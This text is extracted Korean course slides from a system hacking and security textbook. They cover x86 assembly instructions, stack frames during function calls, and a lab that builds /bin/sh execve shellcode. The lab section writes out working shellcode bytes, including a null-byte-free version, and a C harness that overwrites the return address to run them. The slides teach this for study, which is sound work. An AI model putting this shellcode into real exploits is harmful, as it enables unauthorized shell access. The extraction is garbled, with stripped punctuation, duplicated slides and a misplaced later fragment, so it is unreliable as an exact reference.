bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 30: 80×86  시스템에 대한 이해

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

